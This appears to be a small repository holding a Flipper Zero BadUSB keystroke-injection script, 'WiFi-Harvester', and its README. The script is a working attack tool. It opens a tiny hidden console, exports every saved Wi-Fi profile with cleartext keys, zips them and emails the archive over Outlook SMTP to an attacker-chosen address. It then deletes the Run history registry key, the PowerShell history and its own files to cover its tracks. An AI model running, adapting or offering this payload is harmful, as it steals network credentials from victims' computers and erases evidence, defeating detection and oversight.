├── README.md
└── FlipperWIFI.txt


/README.md:
--------------------------------------------------------------------------------
1 | ### Script made by @norepository based on the code of Siem TTommy & edited by @Gioman101 for Outlook
2 | 
3 | - Simple script for Flipper Zero that download wifi credentials, compress and send them to an email. After all console history and the file will be deleted automatically
4 | - Make sure to change SENDER-EMAIL and SENDER-PASSWORD with your outlook account that will send the email and RECEIVER-EMAIL with the email that will receive the zip file
5 | 


--------------------------------------------------------------------------------
/FlipperWIFI.txt:
--------------------------------------------------------------------------------
 1 | REM Title: WiFi-Harvester
 2 | REM Author: tony
 3 | REM Based on the code of: Siem TTommy
 4 | REM: Version 1.1
 5 | DELAY 2000
 6 | GUI d
 7 | DELAY 150
 8 | GUI r
 9 | DELAY 400
10 | STRING cmd
11 | ENTER
12 | DELAY 500
13 | STRING color FE & mode con:cols=18 lines=1
14 | ENTER
15 | REM --> Harvest
16 | STRING cd Desktop
17 | ENTER
18 | STRING mkdir A
19 | ENTER
20 | STRING cd A
21 | ENTER
22 | STRING netsh wlan export profile key=clear 
23 | ENTER
24 | DELAY 200
25 | STRING cd ..
26 | ENTER
27 | STRING powershell
28 | ENTER
29 | STRING Compress-Archive -Path A -DestinationPath A.zip
30 | ENTER
31 | REM --> Report
32 | REM --> Allow less secure app here https://myaccount.google.com/lesssecureapps
33 | DELAY 500
34 | STRING $SMTPServer = 'smtp-mail.outlook.com'
35 | ENTER
36 | STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
37 | ENTER
38 | STRING $SMTPInfo.EnableSsl = $true
39 | ENTER
40 | STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('SENDER-EMAIL', 'SENDER-PASSWORD')
41 | ENTER
42 | STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
43 | ENTER
44 | STRING $ReportEmail.From = 'SENDER-EMAIL'
45 | ENTER
46 | STRING $ReportEmail.To.Add('RECEIVER-EMAIL')
47 | ENTER
48 | STRING $ReportEmail.Subject = "1337"
49 | ENTER
50 | STRING $ReportEmail.Body = "GG, you got it"
51 | ENTER
52 | STRING $ReportEmail.Attachments.Add("A.zip")
53 | ENTER
54 | STRING $SMTPInfo.Send($ReportEmail)
55 | ENTER
56 | DELAY 400
57 | REM --> Clean up
58 | STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
59 | ENTER
60 | STRING cd ..
61 | ENTER
62 | STRING cd AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine
63 | ENTER
64 | STRING del ConsoleHost_history.txt
65 | ENTER
66 | STRING exit
67 | ENTER
68 | DELAY 100
69 | STRING del A & rmdir A
70 | ENTER
71 | STRING S
72 | ENTER
73 | STRING del A.zip & exit
74 | ENTER
75 | STRING y 
76 | ENTER
77 | STRING exit
78 | ENTER
79 | 


--------------------------------------------------------------------------------